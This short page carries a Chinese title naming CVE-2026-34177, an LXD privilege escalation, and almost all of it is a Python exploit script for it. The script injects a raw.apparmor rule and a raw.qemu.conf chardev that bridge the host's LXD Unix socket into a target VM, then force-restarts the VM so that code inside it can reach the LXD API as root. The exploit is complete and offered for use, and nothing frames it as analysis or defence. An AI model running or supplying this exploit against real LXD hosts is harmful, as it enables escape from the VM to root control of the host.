CVE-2026-34177 LXD权限提升漏洞

#!/usr/bin/env python3 import subprocess import sys # Exploit for CVE-2026-34177: LXD Privilege Escalation via Config Injection # Target: Canonical LXD 4.12 <= 6.7 TARGET_VM = "target-vm" LXD_SOCKET_PATH = "/var/snap/lxd/common/lxd/unix.socket" def exploit(): print(f"[*] Attempting to exploit {TARGET_VM}...") # 1. Inject AppArmor rule to allow access to the LXD Unix socket # This overrides the security profile blocking the socket apparmor_payload = f"unix (connect, send, receive) type=stream addr=\"@{LXD_SOCKET_PATH}\"," print(f"[*] Injecting AppArmor rule: {apparmor_payload}") try: subprocess.run(["lxc", "config", "set", TARGET_VM, "raw.apparmor", apparmor_payload], check=True) except subprocess.CalledProcessError as e: print(f"[-] Failed to set raw.apparmor: {e}") sys.exit(1) # 2. Inject QEMU configuration to bridge the socket into the VM # This creates a virtio-serial port connected to the host socket qemu_payload = f""" [chardev "lxd-sock"] path = "{LXD_SOCKET_PATH}" backend = "socket" [device "dev-lxd-sock"] driver = "virtio-serial-pci" [device "port-lxd-sock"] driver = "virtserialport" name = "org.linuxcontainers.lxd" chardev = "lxd-sock" """ print("[*] Injecting QEMU chardev configuration...") try: subprocess.run(["lxc", "config", "set", TARGET_VM, "raw.qemu.conf", qemu_payload], check=True) except subprocess.CalledProcessError as e: print(f"[-] Failed to set raw.qemu.conf: {e}") sys.exit(1) # 3. Restart the VM to apply the configuration changes print(f"[*] Restarting {TARGET_VM} to apply changes...") try: subprocess.run(["lxc", "restart", TARGET_VM, "--force"], check=True) except subprocess.CalledProcessError as e: print(f"[-] Failed to restart VM: {e}") sys.exit(1) print("[+] Exploit successful!") print(f"[+] The LXD Unix socket is now available inside the VM at /dev/virtio-ports/org.linuxcontainers.lxd") print("[+] You can now interact with the LXD API as root from within the VM.") if __name__ == "__main__": exploit()